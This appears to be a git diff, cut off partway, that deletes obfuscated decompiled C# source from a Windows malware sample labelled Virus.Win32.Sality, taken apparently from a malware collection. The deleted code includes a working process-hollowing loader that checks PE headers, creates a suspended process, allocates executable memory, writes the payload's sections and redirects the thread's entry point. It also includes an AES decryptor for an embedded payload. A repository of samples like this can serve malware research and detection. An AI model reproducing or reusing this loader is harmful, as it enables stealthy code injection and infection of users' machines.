-using System.Runtime.InteropServices; -using System.Security; -using System.Windows.Forms; - -namespace \u0006 -{ - internal sealed class \u0003 : \u0003.\u0006 - { - [NonSerialized] - internal new static \u0002 \u0001; - - protected override void \u0003([In] \u0004.\u0004 obj0) - { - \u0006.\u0004 obj = new \u0006.\u0004(obj0); - int num = (int) \u0013\u0003.\u007E\u008C\u0002((object) obj); - } - - protected override void \u0003([In] \u0002 obj0) - { - \u0002 obj = new \u0002((\u0003.\u0006) this, obj0); - int num = (int) \u0013\u0003.\u007E\u008C\u0002((object) obj); - } - - protected override void \u0003([In] \u0004.\u0005 obj0) - { - int num = (int) \u009B\u0003.\u0092\u0002(\u0003\u0006.\u007E\u0013\u0003((object) obj0.\u0003()), \u0086\u0005.\u0092\u0003(\u0006.\u0003.\u0001(4692), (object) \u0006.\u0003.\u0001(4328)), MessageBoxButtons.OK, MessageBoxIcon.Hand); - } - - public static bool \u0004() - { - try - { - \u0003.\u0006.\u0003((\u0003.\u0006) new \u0006.\u0003()); - return true; - } - catch (SecurityException ex1) - { - try - { - try - { - // ISSUE: type reference - object obj = \u008B\u0005.\u000F\u0005((object) \u0084\u0003.\u0012\u0005(__typeref (Application)), \u0006.\u0003.\u0001(4721), BindingFlags.Static | BindingFlags.Public | BindingFlags.InvokeMethod, (Binder) null, (object) null, (object[]) null); - } - catch (MissingMethodException ex2) - { - } - \u0006.\u0004 obj1 = new \u0006.\u0004(new \u0004.\u0004(\u0086\u0005.\u0092\u0003(\u0006.\u0003.\u0001(4746), (object) \u0006.\u0003.\u0001(4328)), false)); - \u000E\u0003.\u007E\u0086\u0002((object) obj1, true); - int num = (int) \u0013\u0003.\u007E\u008C\u0002((object) obj1); - } - catch (Exception ex3) - { - int num = (int) \u009B\u0003.\u0092\u0002(\u0003\u0006.\u007E\u0013\u0003((object) ex3), \u0086\u0005.\u0092\u0003(\u0006.\u0003.\u0001(4692), (object) \u0006.\u0003.\u0001(4328)), MessageBoxButtons.OK, MessageBoxIcon.Hand); - } - return false; - } - } - - static \u0003() => \u0001.\u0003.\u0003(); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0004.cs deleted file mode 100644 index 91d4a164..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0004.cs +++ /dev/null @@ -1,114 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using System; -using System.Drawing; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -namespace \u0006 -{ - internal sealed class \u0004 : Form - { - [NonSerialized] - internal static \u0002 \u0001; - private \u0004.\u0004 \u0001; - private \u0005.\u0004 \u0001 = new \u0005.\u0004(); - private Button \u0001 = new Button(); - private Button \u0002 = new Button(); - private \u0004.\u0001 \u0001 = new \u0004.\u0001(string.Format(\u0006.\u0004.\u0001(5363), (object) \u0006.\u0004.\u0001(4329))); - private \u0003.\u0003 \u0001 = new \u0003.\u0003(); - - private void \u0003() - { - \u0087\u0005.\u0012\u0002((object) this); - \u0098\u0005.\u007E\u0081((object) this.\u0002, AnchorStyles.Bottom | AnchorStyles.Right); - \u0095\u0003.\u007E\u0016\u0002((object) this.\u0002, FlatStyle.System); - \u009C\u0002.\u007E\u0095((object) this.\u0002, new Size(100, 24)); - \u0098\u0002.\u007E\u0092((object) this.\u0002, new Point(408 - \u008A\u0005.\u007E\u009C((object) this.\u0002), 188)); - \u0004\u0004.\u007E\u0096((object) this.\u0002, 0); - \u0096\u0004.\u007E\u0099((object) this.\u0002, \u0006.\u0004.\u0001(5341)); - \u001F\u0005.\u007E\u009D((object) this.\u0002, new EventHandler(this.\u0004)); - \u0098\u0005.\u007E\u0081((object) this.\u0001, AnchorStyles.Bottom | AnchorStyles.Right); - \u0095\u0003.\u007E\u0016\u0002((object) this.\u0001, FlatStyle.System); - \u009C\u0002.\u007E\u0095((object) this.\u0001, new Size(100, 24)); - \u0098\u0002.\u007E\u0092((object) this.\u0001, new Point(\u008A\u0005.\u007E\u0090((object) this.\u0002) - \u008A\u0005.\u007E\u009C((object) this.\u0001) - 6, 188)); - \u0004\u0004.\u007E\u0096((object) this.\u0001, 1); - \u0096\u0004.\u007E\u0099((object) this.\u0001, \u0006.\u0004.\u0001(5350)); - \u001F\u0005.\u007E\u009D((object) this.\u0001, new EventHandler(this.\u0003)); - \u0098\u0005.\u007E\u0081((object) this.\u0001, AnchorStyles.Bottom | AnchorStyles.Left); - \u0082\u0004.\u007E\u0010\u0002((object) this.\u0001, 6, 186, 120, 32); - this.\u0001.\u0003(\u0005.\u0005.\u0003); - \u0098\u0005.\u007E\u0081((object) this.\u0001, AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right); - \u0098\u0002.\u007E\u0092((object) this.\u0001, new Point(20, 72)); - \u009C\u0002.\u007E\u0095((object) this.\u0001, new Size(382, 13)); - \u009C\u0002.\u007E\u001E\u0002((object) this, new Size(5, 13)); - \u009C\u0002.\u0080\u0002((object) this, new Size(418, 224)); - \u000E\u0003.\u0081\u0002((object) this, false); - \u0019\u0003.\u007E\u0014\u0002((object) \u0093\u0003.\u0087((object) this), new Control[5] - { - (Control) this.\u0001, - (Control) this.\u0001, - (Control) this.\u0002, - (Control) this.\u0001, - (Control) this.\u0001 - }); - \u0083\u0003.\u001F\u0002((object) this, FormBorderStyle.FixedSingle); - \u000E\u0003.\u0083\u0002((object) this, false); - \u000E\u0003.\u0084\u0002((object) this, false); - \u000E\u0003.\u0086\u0002((object) this, false); - \u0012\u0003.\u0088\u0002((object) this, FormStartPosition.CenterScreen); - \u000E\u0003.\u000E\u0002((object) this, false); - } - - private void \u0003([In] object obj0, [In] EventArgs obj1) - { - this.\u0001.\u0003(true); - \u0087\u0005.\u008A\u0002((object) this); - } - - private void \u0004([In] object obj0, [In] EventArgs obj1) - { - this.\u0001.\u0003(false); - \u0087\u0005.\u008A\u0002((object) this); - } - - public \u0004([In] \u0004.\u0004 obj0) - { - this.\u0003(); - this.Icon = \u0005.\u0003.\u0003(); - \u0096\u0004.\u007E\u0099((object) this, \u0006.\u0004.\u0001(4329)); - if (\u008A\u0005.\u007E\u0084\u0003((object) \u0003\u0006.\u007E\u0098((object) this)) == 0) - \u0096\u0004.\u007E\u0099((object) this, \u0006.\u0004.\u0001(5464)); - this.\u0001 = obj0; - if (!obj0.\u0003()) - \u000E\u0003.\u007E\u009B((object) this.\u0001, false); - if (\u008A\u0005.\u007E\u0084\u0003((object) obj0.\u0003()) > 0) - { - \u0096\u0004.\u007E\u0099((object) this.\u0001, obj0.\u0003()); - } - else - { - StringBuilder stringBuilder1 = new StringBuilder(); - StringBuilder stringBuilder2 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, \u0086\u0005.\u0092\u0003(\u0006.\u0004.\u0001(5485), (object) \u0006.\u0004.\u0001(4329))); - if (obj0.\u0003()) - { - StringBuilder stringBuilder3 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, \u0006.\u0004.\u0001(5779)); - } - StringBuilder stringBuilder4 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, \u0003\u0006.\u007E\u0001\u0004((object) obj0.\u0003())); - \u0096\u0004.\u007E\u0099((object) this.\u0001, \u0003\u0006.\u007E\u0013\u0003((object) stringBuilder1)); - } - int height = \u008A\u0005.\u007E\u0083((object) this.\u0001) + 60; - if (height <= \u0002\u0004.\u007F\u0002((object) this).Height) - return; - \u009C\u0002.\u0080\u0002((object) this, new Size(\u0002\u0004.\u007F\u0002((object) this).Width, height)); - } - - static \u0004() => \u0001.\u0003.\u0003(); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0005.cs deleted file mode 100644 index d77a4bc6..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0005.cs +++ /dev/null @@ -1,37 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0006; -using \u0007; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0006 -{ - internal static class \u0005 - { - public static \u0001 \u0001; - - [STAThread] - [MethodImpl(MethodImplOptions.NoInlining)] - private static void \u0003([In] string[] obj0) - { - try - { - if (!\u0006.\u0003.\u0004()) - return; - \u0005.\u0001 = (\u0001) new \u0004(); - \u0005.\u0001.\u0003((object[]) obj0); - } - catch (Exception ex) - { - object[] objArray = new object[1]{ (object) obj0 }; - \u0003.\u0006.\u0003(ex, objArray); - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0006.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0006.cs deleted file mode 100644 index 0ffbbb03..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006/_0006.cs +++ /dev/null @@ -1,291 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0006; -using \u0007; -using \u0008; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0006 -{ - internal sealed class \u0006 : \u0001 - { - private \u0006.\u0006.\u0006 \u0001; - private \u0006.\u0006.\u0005 \u0001; - private \u0006.\u0006.\u0001 \u0001; - private \u0006.\u0006.\u0004 \u0001; - private \u0006.\u0006.\u0002 \u0001; - private \u0006.\u0006.\u0003 \u0001; - private \u0006.\u0006.\u0007 \u0001; - - [MethodImpl(MethodImplOptions.NoInlining)] - public \u0006() - { - \u0003.\u0003(); - // ISSUE: explicit constructor call - base.\u002Ector(); - object[] objArray1; - object[] objArray2; - object[] objArray3; - object[] objArray4; - object[] objArray5; - object[] objArray6; - object[] objArray7; - try - { - \u0005.\u0001 = (\u0001) new \u0001(); - \u0001 obj1 = \u0005.\u0001; - objArray1 = new object[3] - { - (object) \u0002.\u0003(0), - (object) \u0002.\u0003(20), - (object) typeof (\u0006.\u0006.\u0006) - }; - object[] objArray8 = objArray1; - this.\u0001 = (\u0006.\u0006.\u0006) obj1.\u0003(objArray8); - \u0001 obj2 = \u0005.\u0001; - objArray2 = new object[3] - { - (object) \u0002.\u0003(52), - (object) \u0002.\u0003(72), - (object) typeof (\u0006.\u0006.\u0005) - }; - object[] objArray9 = objArray2; - this.\u0001 = (\u0006.\u0006.\u0005) obj2.\u0003(objArray9); - \u0001 obj3 = \u0005.\u0001; - objArray3 = new object[3] - { - (object) \u0002.\u0003(104), - (object) \u0002.\u0003(118), - (object) typeof (\u0006.\u0006.\u0001) - }; - object[] objArray10 = objArray3; - this.\u0001 = (\u0006.\u0006.\u0001) obj3.\u0003(objArray10); - \u0001 obj4 = \u0005.\u0001; - objArray4 = new object[3] - { - (object) \u0002.\u0003(162), - (object) \u0002.\u0003(176), - (object) typeof (\u0006.\u0006.\u0004) - }; - object[] objArray11 = objArray4; - this.\u0001 = (\u0006.\u0006.\u0004) obj4.\u0003(objArray11); - \u0001 obj5 = \u0005.\u0001; - objArray5 = new object[3] - { - (object) \u0002.\u0003(220), - (object) \u0002.\u0003(234), - (object) typeof (\u0006.\u0006.\u0002) - }; - object[] objArray12 = objArray5; - this.\u0001 = (\u0006.\u0006.\u0002) obj5.\u0003(objArray12); - \u0001 obj6 = \u0005.\u0001; - objArray6 = new object[3] - { - (object) \u0002.\u0003(274), - (object) \u0002.\u0003(288), - (object) typeof (\u0006.\u0006.\u0003) - }; - object[] objArray13 = objArray6; - this.\u0001 = (\u0006.\u0006.\u0003) obj6.\u0003(objArray13); - \u0001 obj7 = \u0005.\u0001; - objArray7 = new object[3] - { - (object) \u0002.\u0003(328), - (object) \u0002.\u0003(342), - (object) typeof (\u0006.\u0006.\u0007) - }; - object[] objArray14 = objArray7; - this.\u0001 = (\u0006.\u0006.\u0007) obj7.\u0003(objArray14); - } - catch (Exception ex) - { - object[] objArray15 = objArray1; - object[] objArray16 = objArray2; - object[] objArray17 = objArray3; - object[] objArray18 = objArray4; - object[] objArray19 = objArray5; - object[] objArray20 = objArray6; - object[] objArray21 = objArray7; - throw UnhandledException.\u0003(ex, (object) objArray15, (object) objArray16, (object) objArray17, (object) objArray18, (object) objArray19, (object) objArray20, (object) objArray21, (object) this); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public override unsafe object \u0003([In] object[] obj0) - { - byte[] numArray1; - int[] numArray2; - byte[] dst1; - byte[] dst2; - byte[] dst3; - char ch; - string str; - int srcOffset; - int num1; - ushort num2; - try - { - dst1 = new byte[64]; - dst2 = new byte[248]; - dst3 = new byte[40]; - numArray1 = new byte[716]; - numArray2 = new int[4]; - fixed (byte* numPtr = &dst1[0]) - ; - fixed (byte* numPtr = &dst2[0]) - ; - fixed (byte* numPtr = &dst3[0]) - ; - fixed (byte* numPtr = &numArray1[0]) - ; - ch = Convert.ToChar(32); - str = string.Join(ch.ToString(), (string[]) obj0[1]); - // ISSUE: fixed variable is out of scope - *(int*) numPtr = 65543; - Buffer.BlockCopy((Array) obj0[0], 0, (Array) dst1, 0, dst1.Length); - // ISSUE: fixed variable is out of scope - srcOffset = *(int*) (numPtr + 60); - Buffer.BlockCopy((Array) obj0[0], srcOffset, (Array) dst2, 0, dst2.Length); - // ISSUE: fixed variable is out of scope - // ISSUE: fixed variable is out of scope - if (*(uint*) numPtr != 17744U || *(ushort*) numPtr != (ushort) 23117) - return (object) null; - // ISSUE: fixed variable is out of scope - num1 = *(int*) (numPtr + 52); - if (!this.\u0001((string) obj0[2], str, IntPtr.Zero, IntPtr.Zero, false, 4U, IntPtr.Zero, (string) null, new byte[68], numArray2)) - return (object) null; - int num3 = (int) this.\u0001((IntPtr) numArray2[0], (IntPtr) num1); - // ISSUE: fixed variable is out of scope - if (this.\u0001((IntPtr) numArray2[0], (IntPtr) num1, *(uint*) (numPtr + 80), 12288U, 64U) == IntPtr.Zero) - base.\u0003(obj0); - fixed (byte* numPtr = &((byte[]) obj0[0])[0]) - { - // ISSUE: fixed variable is out of scope - int num4 = this.\u0001((IntPtr) numArray2[0], (IntPtr) num1, (IntPtr) (void*) numPtr, *(uint*) (numPtr + 84), IntPtr.Zero); - } - // ISSUE: fixed variable is out of scope - for (num2 = (ushort) 0; (int) num2 < (int) *(ushort*) (numPtr + 6); ++num2) - { - Buffer.BlockCopy((Array) obj0[0], srcOffset + dst2.Length + dst3.Length * (int) num2, (Array) dst3, 0, dst3.Length); - // ISSUE: fixed variable is out of scope - fixed (byte* numPtr = &((byte[]) obj0[0])[(IntPtr) *(uint*) (numPtr + 20)]) - { - // ISSUE: fixed variable is out of scope - // ISSUE: fixed variable is out of scope - int num5 = this.\u0001((IntPtr) numArray2[0], (IntPtr) ((long) num1 + (long) *(uint*) (numPtr + 12)), (IntPtr) (void*) numPtr, *(uint*) (numPtr + 16), IntPtr.Zero); - } - } - // ISSUE: fixed variable is out of scope - int num6 = this.\u0001((IntPtr) numArray2[1], (IntPtr) (void*) numPtr); - fixed (byte* numPtr = &BitConverter.GetBytes(num1)[0]) - { - // ISSUE: fixed variable is out of scope - int num7 = this.\u0001((IntPtr) numArray2[0], (IntPtr) (long) (*(uint*) (numPtr + 164) + 8U), (IntPtr) (void*) numPtr, 4U, IntPtr.Zero); - } - // ISSUE: fixed variable is out of scope - // ISSUE: fixed variable is out of scope - *(int*) (numPtr + 176) = num1 + (int) *(uint*) (numPtr + 40); - // ISSUE: fixed variable is out of scope - int num8 = this.\u0001((IntPtr) numArray2[1], (IntPtr) (void*) numPtr); - int num9 = (int) this.\u0001((IntPtr) numArray2[1], IntPtr.Zero); - return (object) null; - } - catch (Exception ex) - { - // ISSUE: fixed variable is out of scope - // ISSUE: fixed variable is out of scope - // ISSUE: fixed variable is out of scope - // ISSUE: fixed variable is out of scope - // ISSUE: fixed variable is out of scope - // ISSUE: fixed variable is out of scope - // ISSUE: fixed variable is out of scope - // ISSUE: fixed variable is out of scope - // ISSUE: fixed variable is out of scope - // ISSUE: fixed variable is out of scope - // ISSUE: fixed variable is out of scope - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - object[] objArray = new object[23] - { - (object) dst1, - (object) dst2, - (object) dst3, - (object) numArray1, - (object) numArray2, - (object) (int) numPtr, - (object) ^(byte&) numPtr, - (object) (int) numPtr, - (object) ^(byte&) numPtr, - (object) (int) numPtr, - (object) ^(byte&) numPtr, - (object) (int) numPtr, - (object) ^(byte&) numPtr, - (object) str, - (object) srcOffset, - (object) num1, - (object) ^(byte&) numPtr, - (object) num2, - (object) ^(byte&) numPtr, - (object) ^(byte&) numPtr, - (object) ch, - (object) this, - (object) obj0 - }; - throw UnhandledException.\u0003(ex, objArray); - } - } - - private delegate uint \u0001(IntPtr _param1, IntPtr _param2); - - private delegate int \u0002(IntPtr _param1, IntPtr _param2); - - private delegate int \u0003(IntPtr _param1, IntPtr _param2); - - private delegate int \u0004( - IntPtr _param1, - IntPtr _param2, - IntPtr _param3, - uint _param4, - IntPtr _param5); - - private delegate IntPtr \u0005( - IntPtr _param1, - IntPtr _param2, - uint _param3, - uint _param4, - uint _param5); - - private delegate bool \u0006( - string _param1, - string _param2, - IntPtr _param3, - IntPtr _param4, - bool _param5, - uint _param6, - IntPtr _param7, - string _param8, - byte[] _param9, - int[] _param10); - - private delegate uint \u0007(IntPtr _param1, IntPtr _param2); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006_0003.cs deleted file mode 100644 index 24aa560c..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Windows.Forms; - -internal delegate Cursor \u0006\u0003(); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006_0004.cs deleted file mode 100644 index 21ded7fa..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate long \u0006\u0004([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006_0005.cs deleted file mode 100644 index eb9840e6..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0006_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string[] \u0006\u0005([In] object obj0, [In] char[] obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/Token2000131.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/Token2000131.cs deleted file mode 100644 index a003b29c..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/Token2000131.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Token2000131 -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -namespace \u0007 -{ - internal class Token2000131 : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0001.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0001.cs deleted file mode 100644 index 62d5e019..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0001.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0008; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0007 -{ - internal class \u0001 - { - [MethodImpl(MethodImplOptions.NoInlining)] - public \u0001() - { - \u0003.\u0003(); - // ISSUE: explicit constructor call - base.\u002Ector(); - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public virtual object \u0003([In] object[] obj0) - { - try - { - return (object) null; - } - catch (Exception ex) - { - object[] objArray = obj0; - throw UnhandledException.\u0003(ex, (object) this, (object) objArray); - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0002.cs deleted file mode 100644 index b84960f1..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0002.cs +++ /dev/null @@ -1,59 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0007; -using \u0008; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -namespace \u0007 -{ - internal sealed class \u0002 : \u0001 - { - [MethodImpl(MethodImplOptions.NoInlining)] - public \u0002() - { - \u0003.\u0003(); - // ISSUE: explicit constructor call - base.\u002Ector(); - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public override object \u0003([In] object[] obj0) - { - RijndaelManaged rijndaelManaged1; - Rfc2898DeriveBytes rfc2898DeriveBytes1; - ICryptoTransform decryptor; - try - { - rfc2898DeriveBytes1 = new Rfc2898DeriveBytes((string) obj0[1], new byte[8]); - rijndaelManaged1 = new RijndaelManaged(); - decryptor = rijndaelManaged1.CreateDecryptor(rfc2898DeriveBytes1.GetBytes(32), rfc2898DeriveBytes1.GetBytes(16)); - return (object) decryptor.TransformFinalBlock((byte[]) obj0[0], 0, ((byte[]) obj0[0]).Length); - } - catch (Exception ex) - { - Rfc2898DeriveBytes rfc2898DeriveBytes2 = rfc2898DeriveBytes1; - RijndaelManaged rijndaelManaged2 = rijndaelManaged1; - ICryptoTransform cryptoTransform = decryptor; - byte[] numArray1; - byte[] numArray2 = numArray1; - object[] objArray = obj0; - throw UnhandledException.\u0003(ex, (object) rfc2898DeriveBytes2, (object) rijndaelManaged2, (object) cryptoTransform, (object) numArray2, (object) this, (object) objArray); - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0003.cs deleted file mode 100644 index f6d29349..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0003.cs +++ /dev/null @@ -1,79 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, 